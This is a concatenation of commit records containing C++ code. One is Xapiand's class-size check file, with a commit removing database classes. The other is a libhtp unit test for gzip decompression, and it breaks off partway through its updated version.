metrics\/basic_string_metric.h\nCHECK_MAX_SIZE(SMALL, (Counter))\n\/\/ metrics\/jaccard.h\nCHECK_MAX_SIZE(SMALL, (Jaccard))\n\/\/ metrics\/jaro.h\nCHECK_MAX_SIZE(SMALL, (Jaro))\n\/\/ metrics\/jaro_winkler.h\nCHECK_MAX_SIZE(SMALL, (Jaro_Winkler))\n\/\/ metrics\/lcsubsequence.h\nCHECK_MAX_SIZE(SMALL, (LCSubsequence))\n\/\/ metrics\/lcsubstr.h\nCHECK_MAX_SIZE(SMALL, (LCSubstr))\n\/\/ metrics\/levenshtein.h\nCHECK_MAX_SIZE(SMALL, (Levenshtein))\n\/\/ metrics\/sorensen_dice.h\nCHECK_MAX_SIZE(SMALL, (Sorensen_Dice))\n\/\/ metrics\/soundex_metric.h\n\/\/ CHECK_MAX_SIZE(SMALL, (SoundexMetric))\n\n\/\/ multivalue\/aggregation.h\nCHECK_MAX_SIZE(SMALL, (Aggregation))\nCHECK_MAX_SIZE(SMALL, (AggregationMatchSpy))\n\n\/\/ multivalue\/aggregation_bucket.h\nCHECK_MAX_SIZE(SMALL, (BucketAggregation))\nCHECK_MAX_SIZE(SMALL, (ValueAggregation))\nCHECK_MAX_SIZE(SMALL, (HistogramAggregation))\nCHECK_MAX_SIZE(SMALL, (RangeAggregation))\nCHECK_MAX_SIZE(SMALL, (FilterAggregation))\n\n\/\/ multivalue\/aggregation_metric.h\nCHECK_MAX_SIZE(SMALL, (ValueHandle))\nCHECK_MAX_SIZE(SMALL, (SubAggregation))\nCHECK_MAX_SIZE(SMALL, (HandledSubAggregation))\nCHECK_MAX_SIZE(SMALL, (MetricCount))\nCHECK_MAX_SIZE(SMALL, (MetricSum))\nCHECK_MAX_SIZE(SMALL, (MetricAvg))\nCHECK_MAX_SIZE(SMALL, (MetricMin))\nCHECK_MAX_SIZE(SMALL, (MetricMax))\nCHECK_MAX_SIZE(SMALL, (MetricVariance))\nCHECK_MAX_SIZE(SMALL, (MetricSTD))\nCHECK_MAX_SIZE(SMALL, (MetricMedian))\nCHECK_MAX_SIZE(SMALL, (MetricMode))\nCHECK_MAX_SIZE(SMALL, (MetricStats))\nCHECK_MAX_SIZE(SMALL, (MetricExtendedStats))\n\n\/\/ multivalue\/geospatialrange.h\nCHECK_MAX_SIZE(SMALL, (GeoSpatialRange))\n\n\/\/ multivalue\/keymaker.h\nCHECK_MAX_SIZE(SMALL, (Multi_MultiValueKeyMaker))\n\n\/\/ multivalue\/range.h\nCHECK_MAX_SIZE(SMALL, (MultipleValueRange))\nCHECK_MAX_SIZE(SMALL, (MultipleValueGE))\nCHECK_MAX_SIZE(SMALL, (MultipleValueLE))\n\n\/\/ phonetic\nCHECK_MAX_SIZE(SMALL, (SoundexEnglish))\nCHECK_MAX_SIZE(SMALL, (SoundexFrench))\nCHECK_MAX_SIZE(SMALL, (SoundexGerman))\nCHECK_MAX_SIZE(SMALL, (SoundexSpanish))\n\n\/\/ server\/base_client.h\nCHECK_MAX_SIZE(SMALL, (MetaBaseClient<DummyClient>))\n\n\/\/ server\/buffer.h\nCHECK_MAX_SIZE(SMALL, (Buffer))\n\n\/\/ server\/http.h\nCHECK_MAX_SIZE(SMALL, (Http))\n\n\/\/ server\/http_server.h\nCHECK_MAX_SIZE(SMALL, (HttpServer))\n\n\/\/ server\/http_client.h\nCHECK_MAX_SIZE(SMALL, (HttpClient))\nCHECK_MAX_SIZE(SMALL, (Response))\nCHECK_MAX_SIZE(SMALL, (Request))\n\n\/\/ server\/binary.h\nCHECK_MAX_SIZE(SMALL, (Binary))\n\n\/\/ server\/binary_server.h\nCHECK_MAX_SIZE(SMALL, (BinaryServer))\n\n\/\/ server\/binary_client.h\nCHECK_MAX_SIZE(SMALL, (BinaryClient))\n\n\/\/ server\/raft.h\nCHECK_MAX_SIZE(SMALL, (Raft))\n\n\/\/ server\/discovery.h\nCHECK_MAX_SIZE(SMALL, (Discovery))\n\n#if XAPIAND_CHAISCRIPT\n\/\/ chaipp\/chaipp.h\nCHECK_MAX_SIZE(SMALL, (chaipp::Processor))\n#endif\n\n#if XAPIAND_V8\n\/\/ v8pp\/v8pp.h\nCHECK_MAX_SIZE(SMALL, (v8pp::Processor))\n#endif\n\n}\n\n#endif\n<commit_msg>Check Size: Removed DatabaseCount, DatabaseQueue and DatabasesLRU<commit_after>\/*\n * Copyright (C) 2018 Dubalu LLC. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"check_size.h\"\n\n#ifdef XAPIAND_CHECK_SIZES\n#define STATIC_ASSERT(...)\n\/\/ #define STATIC_ASSERT static_assert\n#define CHECK_MAX_SIZE(max_size, name) \\\n\tSTATIC_ASSERT((max_size) >= (sizeof name), \"Object is too big!\"); \\\n\tif ((max_size) < (sizeof name)) { \\\n\t\tstd::cerr << \"sizeof\" << #name << \" = \" << (sizeof name) << std::endl; \\\n\t}\n\n#include \"allocator.h\"\n#include \"base_x.hh\"\n#include \"bloom_filter.hh\"\n#include \"compressor_deflate.h\"\n#include \"compressor_lz4.h\"\n#include \"database.h\"\n#include \"database_handler.h\"\n#include \"database_pool.h\"\n#include \"database_wal.h\"\n#include \"debouncer.h\"\n#include \"endpoint.h\"\n#include \"logger.h\"\n#include \"manager.h\"\n#include \"msgpack.h\"\n#include \"node.h\"\n#include \"query_dsl.h\"\n#include \"queue.h\"\n#include \"schema.h\"\n#include \"schemas_lru.h\"\n#include \"script.h\"\n#include \"storage.h\"\n#include \"threadpool.hh\"\n#include \"url_parser.h\"\n#include \"url_parser.h\"\n#include \"booleanParser\/BooleanParser.h\"\n#include \"chaipp\/chaipp.h\"\n#include \"cuuid\/uuid.h\"\n#include \"geospatial\/geometry.h\"\n#include \"geospatial\/geospatial.h\"\n#include \"geospatial\/intersection.h\"\n#include \"geospatial\/multicircle.h\"\n#include \"geospatial\/multiconvex.h\"\n#include \"geospatial\/multipoint.h\"\n#include \"geospatial\/multipolygon.h\"\n#include \"geospatial\/point.h\"\n#include \"geospatial\/polygon.h\"\n#include \"metrics\/basic_string_metric.h\"\n#include \"metrics\/jaccard.h\"\n#include \"metrics\/jaro.h\"\n#include \"metrics\/jaro_winkler.h\"\n#include \"metrics\/lcsubsequence.h\"\n#include \"metrics\/lcsubstr.h\"\n#include \"metrics\/levenshtein.h\"\n#include \"metrics\/sorensen_dice.h\"\n#include \"metrics\/soundex_metric.h\"\n#include \"multivalue\/aggregation.h\"\n#include \"multivalue\/aggregation_bucket.h\"\n#include \"multivalue\/aggregation_metric.h\"\n#include \"multivalue\/geospatialrange.h\"\n#include \"multivalue\/keymaker.h\"\n#include \"multivalue\/range.h\"\n#include \"phonetic\/english_soundex.h\"\n#include \"phonetic\/french_soundex.h\"\n#include \"phonetic\/german_soundex.h\"\n#include \"phonetic\/spanish_soundex.h\"\n#include \"server\/base_client.h\"\n#include \"server\/binary.h\"\n#include \"server\/binary_client.h\"\n#include \"server\/binary_server.h\"\n#include \"server\/buffer.h\"\n#include \"server\/discovery.h\"\n#include \"server\/http.h\"\n#include \"server\/http_client.h\"\n#include \"server\/http_server.h\"\n#include \"server\/raft.h\"\n#include \"server\/remote_protocol.h\"\n#include \"server\/replication_protocol.h\"\n#include \"v8pp\/v8pp.h\"\n\n#define TINY 8\n#define SMALL 128\n#define REGULAR 1024\n#define BIG 5 * 1024\n#define LARGE 20 * 1024\n\nclass DummyClient {\n\tssize_t on_read(const char*, ssize_t) { return 0; }\n\tvoid on_read_file(const char*, ssize_t) {}\n\tvoid on_read_file_done() {}\n};\n\nvoid\ncheck_size()\n{\n\n\/\/ allocator.h\nCHECK_MAX_SIZE(TINY, (allocator::VanillaAllocator))\nCHECK_MAX_SIZE(TINY, (allocator::TrackedAllocator))\n\n\/\/ base_x.hh\nCHECK_MAX_SIZE(TINY, (BaseX))\nCHECK_MAX_SIZE(TINY, (Base2))\nCHECK_MAX_SIZE(TINY, (Base8))\nCHECK_MAX_SIZE(TINY, (Base11))\nCHECK_MAX_SIZE(TINY, (Base16))\nCHECK_MAX_SIZE(TINY, (Base32))\nCHECK_MAX_SIZE(TINY, (Base36))\nCHECK_MAX_SIZE(TINY, (Base58))\nCHECK_MAX_SIZE(TINY, (Base59))\nCHECK_MAX_SIZE(TINY, (Base62))\nCHECK_MAX_SIZE(TINY, (Base64))\nCHECK_MAX_SIZE(TINY, (Base66))\n\n\/\/ bloom_filter.hh\nCHECK_MAX_SIZE(SMALL, (BloomFilter<>))\n\n\/\/ compressor_deflate.h\nCHECK_MAX_SIZE(SMALL, (DeflateCompressData))\nCHECK_MAX_SIZE(SMALL, (DeflateCompressFile))\nCHECK_MAX_SIZE(SMALL, (DeflateDecompressData))\nCHECK_MAX_SIZE(SMALL, (DeflateDecompressFile))\n\n\/\/ compressor_lz4.h\nCHECK_MAX_SIZE(SMALL, (LZ4CompressData))\nCHECK_MAX_SIZE(SMALL, (LZ4CompressFile))\nCHECK_MAX_SIZE(SMALL, (LZ4DecompressData))\nCHECK_MAX_SIZE(SMALL, (LZ4DecompressFile))\n\n\/\/ database.h\nCHECK_MAX_SIZE(SMALL, (Database))\n\n\/\/ database_handler.h\nCHECK_MAX_SIZE(SMALL, (Data))\nCHECK_MAX_SIZE(SMALL, (DatabaseHandler))\nCHECK_MAX_SIZE(SMALL, (Document))\nCHECK_MAX_SIZE(SMALL, (MSet))\n\n\/\/ database_pool.h\nCHECK_MAX_SIZE(SMALL, (DatabaseEndpoint))\nCHECK_MAX_SIZE(SMALL, (DatabasePool))\n\n\/\/ database_wal.h\nCHECK_MAX_SIZE(BIG, (WalHeader))\nCHECK_MAX_SIZE(TINY, (WalBinHeader))\nCHECK_MAX_SIZE(TINY, (WalBinFooter))\nCHECK_MAX_SIZE(SMALL, (DatabaseWAL))\n\n\/\/ debouncer.h\n\/\/ CHECK_MAX_SIZE(SMALL, (Debouncer<int, 0, 0, 0, void(*)(), int>))\n\n\/\/ endpoint.h\nCHECK_MAX_SIZE(SMALL, (Endpoint))\nCHECK_MAX_SIZE(SMALL, (Endpoints))\n\n\/\/ logger.h\nCHECK_MAX_SIZE(SMALL, (Logging))\n\n\/\/ manager.h\nCHECK_MAX_SIZE(SMALL, (XapiandManager))\n\n\/\/ msgpack.h\nCHECK_MAX_SIZE(SMALL, (MsgPack))\n\n\/\/ node.h\nCHECK_MAX_SIZE(SMALL, (Node))\n\n\/\/ query_dsl.h\nCHECK_MAX_SIZE(SMALL, (QueryDSL))\n\n\/\/ queue.h\nCHECK_MAX_SIZE(SMALL, (queue::Queue<int>))\n\n\/\/ remote_protocol.h\nCHECK_MAX_SIZE(SMALL, (RemoteProtocol))\n\n\/\/ replication.h\nCHECK_MAX_SIZE(SMALL, (Replication))\n\n\/\/ schema.h\nCHECK_MAX_SIZE(SMALL, (Schema))\n\n\/\/ schemas_lru.h\nCHECK_MAX_SIZE(SMALL, (SchemasLRU))\n\n\/\/ script.h\nCHECK_MAX_SIZE(SMALL, (Script))\n\n\/\/ storage.h\nCHECK_MAX_SIZE(SMALL, (Storage<StorageHeader, StorageBinHeader, StorageBinFooter>))\n\n\/\/ threadpool.hh\nCHECK_MAX_SIZE(SMALL, (ThreadPool<>))\n\n\/\/ url_parser.h\nCHECK_MAX_SIZE(SMALL, (QueryParser))\nCHECK_MAX_SIZE(SMALL, (PathParser))\n\n\/\/ booleanParser\/BooleanParser.h\nCHECK_MAX_SIZE(SMALL, (BooleanTree))\n\n\/\/ cuuid\/uuid.h\nCHECK_MAX_SIZE(SMALL, (UUID))\n\n\/\/ geospatial\/geometry.h\nCHECK_MAX_SIZE(SMALL, (Constraint))\nCHECK_MAX_SIZE(SMALL, (Geometry))\n\/\/ geospatial\/geospatial.h\nCHECK_MAX_SIZE(SMALL, (GeoSpatial))\n\/\/ geospatial\/intersection.h\nCHECK_MAX_SIZE(SMALL, (Intersection))\n\/\/ geospatial\/multicircle.h\nCHECK_MAX_SIZE(SMALL, (MultiCircle))\n\/\/ geospatial\/multiconvex.h\nCHECK_MAX_SIZE(SMALL, (MultiConvex))\n\/\/ geospatial\/multipoint.h\nCHECK_MAX_SIZE(SMALL, (MultiPoint))\n\/\/ geospatial\/multipolygon.h\nCHECK_MAX_SIZE(SMALL, (MultiPolygon))\n\/\/ geospatial\/point.h\nCHECK_MAX_SIZE(SMALL, (Point))\n\/\/ geospatial\/polygon.h\nCHECK_MAX_SIZE(SMALL, (Polygon))\n\n\/\/ metrics\/basic_string_metric.h\nCHECK_MAX_SIZE(SMALL, (Counter))\n\/\/ metrics\/jaccard.h\nCHECK_MAX_SIZE(SMALL, (Jaccard))\n\/\/ metrics\/jaro.h\nCHECK_MAX_SIZE(SMALL, (Jaro))\n\/\/ metrics\/jaro_winkler.h\nCHECK_MAX_SIZE(SMALL, (Jaro_Winkler))\n\/\/ metrics\/lcsubsequence.h\nCHECK_MAX_SIZE(SMALL, (LCSubsequence))\n\/\/ metrics\/lcsubstr.h\nCHECK_MAX_SIZE(SMALL, (LCSubstr))\n\/\/ metrics\/levenshtein.h\nCHECK_MAX_SIZE(SMALL, (Levenshtein))\n\/\/ metrics\/sorensen_dice.h\nCHECK_MAX_SIZE(SMALL, (Sorensen_Dice))\n\/\/ metrics\/soundex_metric.h\n\/\/ CHECK_MAX_SIZE(SMALL, (SoundexMetric))\n\n\/\/ multivalue\/aggregation.h\nCHECK_MAX_SIZE(SMALL, (Aggregation))\nCHECK_MAX_SIZE(SMALL, (AggregationMatchSpy))\n\n\/\/ multivalue\/aggregation_bucket.h\nCHECK_MAX_SIZE(SMALL, (BucketAggregation))\nCHECK_MAX_SIZE(SMALL, (ValueAggregation))\nCHECK_MAX_SIZE(SMALL, (HistogramAggregation))\nCHECK_MAX_SIZE(SMALL, (RangeAggregation))\nCHECK_MAX_SIZE(SMALL, (FilterAggregation))\n\n\/\/ multivalue\/aggregation_metric.h\nCHECK_MAX_SIZE(SMALL, (ValueHandle))\nCHECK_MAX_SIZE(SMALL, (SubAggregation))\nCHECK_MAX_SIZE(SMALL, (HandledSubAggregation))\nCHECK_MAX_SIZE(SMALL, (MetricCount))\nCHECK_MAX_SIZE(SMALL, (MetricSum))\nCHECK_MAX_SIZE(SMALL, (MetricAvg))\nCHECK_MAX_SIZE(SMALL, (MetricMin))\nCHECK_MAX_SIZE(SMALL, (MetricMax))\nCHECK_MAX_SIZE(SMALL, (MetricVariance))\nCHECK_MAX_SIZE(SMALL, (MetricSTD))\nCHECK_MAX_SIZE(SMALL, (MetricMedian))\nCHECK_MAX_SIZE(SMALL, (MetricMode))\nCHECK_MAX_SIZE(SMALL, (MetricStats))\nCHECK_MAX_SIZE(SMALL, (MetricExtendedStats))\n\n\/\/ multivalue\/geospatialrange.h\nCHECK_MAX_SIZE(SMALL, (GeoSpatialRange))\n\n\/\/ multivalue\/keymaker.h\nCHECK_MAX_SIZE(SMALL, (Multi_MultiValueKeyMaker))\n\n\/\/ multivalue\/range.h\nCHECK_MAX_SIZE(SMALL, (MultipleValueRange))\nCHECK_MAX_SIZE(SMALL, (MultipleValueGE))\nCHECK_MAX_SIZE(SMALL, (MultipleValueLE))\n\n\/\/ phonetic\nCHECK_MAX_SIZE(SMALL, (SoundexEnglish))\nCHECK_MAX_SIZE(SMALL, (SoundexFrench))\nCHECK_MAX_SIZE(SMALL, (SoundexGerman))\nCHECK_MAX_SIZE(SMALL, (SoundexSpanish))\n\n\/\/ server\/base_client.h\nCHECK_MAX_SIZE(SMALL, (MetaBaseClient<DummyClient>))\n\n\/\/ server\/buffer.h\nCHECK_MAX_SIZE(SMALL, (Buffer))\n\n\/\/ server\/http.h\nCHECK_MAX_SIZE(SMALL, (Http))\n\n\/\/ server\/http_server.h\nCHECK_MAX_SIZE(SMALL, (HttpServer))\n\n\/\/ server\/http_client.h\nCHECK_MAX_SIZE(SMALL, (HttpClient))\nCHECK_MAX_SIZE(SMALL, (Response))\nCHECK_MAX_SIZE(SMALL, (Request))\n\n\/\/ server\/binary.h\nCHECK_MAX_SIZE(SMALL, (Binary))\n\n\/\/ server\/binary_server.h\nCHECK_MAX_SIZE(SMALL, (BinaryServer))\n\n\/\/ server\/binary_client.h\nCHECK_MAX_SIZE(SMALL, (BinaryClient))\n\n\/\/ server\/raft.h\nCHECK_MAX_SIZE(SMALL, (Raft))\n\n\/\/ server\/discovery.h\nCHECK_MAX_SIZE(SMALL, (Discovery))\n\n#if XAPIAND_CHAISCRIPT\n\/\/ chaipp\/chaipp.h\nCHECK_MAX_SIZE(SMALL, (chaipp::Processor))\n#endif\n\n#if XAPIAND_V8\n\/\/ v8pp\/v8pp.h\nCHECK_MAX_SIZE(SMALL, (v8pp::Processor))\n#endif\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\r\n * Copyright (c) 2009-2010 Open Information Security Foundation\r\n * Copyright (c) 2010-2013 Qualys, Inc.\r\n * All rights reserved.\r\n *\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions are\r\n * met:\r\n *\r\n * - Redistributions of source code must retain the above copyright\r\n *   notice, this list of conditions and the following disclaimer.\r\n\r\n * - Redistributions in binary form must reproduce the above copyright\r\n *   notice, this list of conditions and the following disclaimer in the\r\n *   documentation and\/or other materials provided with the distribution.\r\n\r\n * - Neither the name of the Qualys, Inc. nor the names of its\r\n *   contributors may be used to endorse or promote products derived from\r\n *   this software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\r\n * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\r\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\r\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\r\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\r\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\r\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\r\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n ***************************************************************************\/\r\n\r\n\/**\r\n * @file\r\n *\r\n * @author Ivan Ristic <ivanr@webkreator.com>\r\n *\/\r\n\r\n#include <iostream>\r\n#include <fcntl.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <sys\/types.h>\r\n#include <sys\/stat.h>\r\n\r\n#include <gtest\/gtest.h>\r\n#include \"htp\/htp.h\"\r\n#include \"htp\/htp_decompressors.h\"\r\n\r\nstatic htp_status_t GUnzip_decompressor_callback(htp_tx_data_t *d) {\r\n    \/\/ fprint_raw_data(stdout, \"decompressed\", d->data, d->len);\r\n\r\n    bstr **output = (bstr **)htp_tx_get_user_data(d->tx);\r\n    *output = bstr_dup_mem(d->data, d->len);\r\n\r\n    return HTP_OK;\r\n}\r\n\r\nclass GUnzip : public testing::Test {\r\n    \r\nprotected:\r\n\r\n    virtual htp_status_t decompressFile(const char *f) {\r\n        \/\/ Construct complete file name\r\n        \r\n        char filename[1025];\r\n        strncpy(filename, home, 1024);\r\n        strncat(filename, \"\/\", 1024 - strlen(filename));\r\n        strncat(filename, f, 1024 - strlen(filename));\r\n\r\n        \/\/ Load test data\r\n\r\n        int fd = open(filename, O_RDONLY | O_BINARY);\r\n        if (fd < 0) {\r\n            \/\/FAIL() << \"Unable to open test file\";\r\n            return HTP_ERROR;\r\n        }\r\n\r\n        struct stat statbuf;\r\n        if (fstat(fd, &statbuf) < 0) {\r\n            \/\/FAIL() << \"Unable to stat test file\";\r\n            return HTP_ERROR;\r\n        }\r\n\r\n        htp_tx_data_t d;\r\n        d.tx = tx;\r\n        d.len = statbuf.st_size;\r\n        d.data = (const unsigned char *)malloc(d.len);\r\n        if (d.data == NULL) {\r\n            \/\/FAIL() << \"Memory allocation failed\";\r\n            return HTP_ERROR;\r\n        }\r\n\r\n        if (read(fd, (void *)d.data, d.len) != d.len) {\r\n            \/\/FAIL() << \"Reading from test file failed\";\r\n            close(fd);\r\n            return HTP_ERROR;\r\n        }\r\n\r\n        close(fd);\r\n\r\n        \/\/ Decompress\r\n\r\n        return decompressor->decompress(decompressor, &d);\r\n    }\r\n\r\n    virtual void SetUp() {\r\n        home = getenv(\"srcdir\");\r\n        if (home == NULL) {\r\n            fprintf(stderr, \"This program needs environment variable 'srcdir' set.\");\r\n            exit(EXIT_FAILURE);\r\n        }\r\n\r\n        cfg = htp_config_create();\r\n        htp_config_set_server_personality(cfg, HTP_SERVER_APACHE_2);\r\n\r\n        connp = htp_connp_create(cfg);\r\n        tx = htp_connp_tx_create(connp);\r\n        htp_tx_set_user_data(tx, &output);\r\n\r\n        decompressor = htp_gzip_decompressor_create(connp, COMPRESSION_GZIP);\r\n        decompressor->callback = GUnzip_decompressor_callback;\r\n\r\n        o_boxing_wizards = bstr_dup_c(\"The five boxing wizards jump quickly.\");\r\n        output = NULL;\r\n    }\r\n\r\n    virtual void TearDown() {\r\n        bstr_free(&output);\r\n        bstr_free(&o_boxing_wizards);\r\n        decompressor->destroy(decompressor);\r\n        htp_connp_destroy_all(connp);\r\n        htp_config_destroy(cfg);\r\n    }\r\n\r\n    bstr *output;\r\n\r\n    bstr *o_boxing_wizards;\r\n\r\n    htp_connp_t *connp;\r\n\r\n    htp_tx_t *tx;\r\n\r\n    htp_cfg_t *cfg;\r\n\r\n    char *home;\r\n\r\n    htp_decompressor_t *decompressor;\r\n};\r\n\r\nTEST_F(GUnzip, Minimal) {\r\n    htp_status_t rc = decompressFile(\"gztest-01-minimal.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FNAME) {\r\n    htp_status_t rc = decompressFile(\"gztest-02-fname.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\n#if 0\r\nTEST_F(GUnzip, FCOMMENT) {\r\n    htp_status_t rc = decompressFile(\"gztest-03-fcomment.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FHCRC) {\r\n    htp_status_t rc = decompressFile(\"gztest-04-fhcrc.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n#endif\r\n\r\nTEST_F(GUnzip, FEXTRA) {\r\n    htp_status_t rc = decompressFile(\"gztest-05-fextra.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FTEXT) {\r\n    htp_status_t rc = decompressFile(\"gztest-06-ftext.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\n#if 0\r\nTEST_F(GUnzip, FRESERVED1) {\r\n    htp_status_t rc = decompressFile(\"gztest-07-freserved1.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FRESERVED2) {\r\n    htp_status_t rc = decompressFile(\"gztest-08-freserved2.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, FRESERVED3) {\r\n    htp_status_t rc = decompressFile(\"gztest-09-freserved3.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n#endif\r\n\r\nTEST_F(GUnzip, Multipart) {\r\n    htp_status_t rc = decompressFile(\"gztest-10-multipart.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\n#if 0\r\nTEST_F(GUnzip, InvalidMethod) {\r\n    htp_status_t rc = decompressFile(\"gztest-11-invalid-method.gz.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, InvalidCrc) {\r\n    htp_status_t rc = decompressFile(\"gztest-12-invalid-crc32.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, InvalidInputSize) {\r\n    htp_status_t rc = decompressFile(\"gztest-13-invalid-isize.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n#endif\r\n\r\nTEST_F(GUnzip, InvalidExtraFlags) {\r\n    htp_status_t rc = decompressFile(\"gztest-14-invalid-xfl.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n\r\nTEST_F(GUnzip, InvalidHeaderCrc) {\r\n    htp_status_t rc = decompressFile(\"gztest-15-invalid-fhcrc.gz\");\r\n    ASSERT_EQ(rc, HTP_OK);\r\n    ASSERT_TRUE(output != NULL);\r\n    ASSERT_TRUE(bstr_cmp(o_boxing_wizards, output) == 0);\r\n}\r\n<commit_msg>Ignore O_BINARY on non-Windows platforms.<commit_after>\/***************************************************************************\r\n * Copyright (c) 2009-2010 Open Information Security Foundation\r\n * Copyright (c) 2010-2013 Qualys, Inc.\r\n * All rights reserved.\r\n *\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions are\r\n * met:\r\n *\r\n * - Redistributions of source code must retain the above copyright\r\n *   notice, this list of conditions and the following disclaimer.\r\n\r\n * - Redistributions in binary form must reproduce the above copyright\r\n *   notice, this list of conditions and the following disclaimer in the\r\n *   documentation and\/or other materials provided with the distribution.\r\n\r\n * - Neither the name of the Qualys, Inc. nor the names of its\r\n *   contributors may be used to endorse or promote products derived from\r\n *   this software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\r\n * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\r\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\r\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\r\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\r\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\r\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\r\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n ***************************************************************************\/\r\n\r\n\/**\r\n * @file\r\n *\r\n * @author Ivan Ristic 